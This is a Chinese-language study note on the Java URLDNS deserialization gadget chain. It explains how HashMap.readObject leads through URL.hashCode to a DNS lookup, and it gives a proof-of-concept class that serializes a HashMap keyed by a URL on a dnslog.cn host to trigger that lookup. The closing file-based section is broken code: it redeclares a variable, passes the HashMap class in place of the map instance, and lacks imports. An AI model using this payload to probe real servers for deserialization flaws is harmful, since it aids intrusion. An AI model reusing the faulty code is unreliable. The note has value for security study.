java反序列化urldns
漏洞触发点在hashmap
gadget chain
HashMap.readObject() //首先呼叫hashmap的readobject方法
HashMap.putVal() //在readObject()内执行了putval函数,putval函数内会计算key的hash,会呼叫hash()方法
HashMap.hash() //呼叫hash()方法
URL.hashCode() //在hash方法内呼叫 handler的hashcode()方法,这里调用的是java.net.URL库中的hashcode函数
URLStreamHandler.hashCode() //这里调用的是java.net.URL库中的hashcode函数,当hashcode=-1时会去做dns查询
URLStreamHandler.getHostAddress() //这里调用的是java.net.URL库中的getHostAddress函数
HashMap 为了和保持反序列化后状态的一致性,所以重写了 HashMap.readObject() 方法
在过程中,重新计算 Key 和 Value 的位置,并填充进新的 HashMap 中
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.net.URL;
public class Main {
public static void main(String[] args) throws Exception{
HashMap hashMap = new HashMap(); //实例化hashmap
URL url = new URL("http://h1kttt.dnslog.cn"); //将url对象中存入要访问的url
Field f = Class.forName("java.net.URL").getDeclaredField("hashCode"); //利用java反射机制获取url的hashcode
f.setAccessible(true); //设置反射的访问
f.set(url, 12321312); //把hashcode的值设置为随便一个值,避免第一次就直接访问
hashMap.put(url, "zero"); //设置putval的key和value值,key是url,value是zero
//之后在putval内会调用hash函数,而hash函数会调用key的hashcode函数,也就是url的hashcode
f.set(url, -1); //将hashcode的值设置为-1,就会执行hashcode函数去查询url的host地址 #实际测试得知hashcode默认就是-1,这里其实设置不设置-1没什么关系,都会执行查询
/*这里是直接序列化的方法*/
ByteArrayOutputStream baos = new ByteArrayOutputStream(); //实例化一个字节数组输出流
ObjectOutputStream oos = new ObjectOutputStream(baos); //实例化对象输出流,需要提供字节数组输出流对象
oos.writeObject(hashMap); //序列化写入对象
byte[] bytes = baos.toByteArray(); //把缓冲区的内容序列化成字节流
ObjectInputStream objos = new ObjectInputStream(new ByteArrayInputStream(bytes)); //读入序列化字符组
objos.readObject(); //反序列化
/*这里是生成序列化到文件再进行反序列化的方法*/
FileOutputStream fos = new FileOutputStream(new File("urldns.ser"));
ObjectOutputStream oos = new ObjectOutputStream(fos);
oos.writeObject(HashMap);
oos.close();
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("urldns.ser"));
ois.readObject();
}
}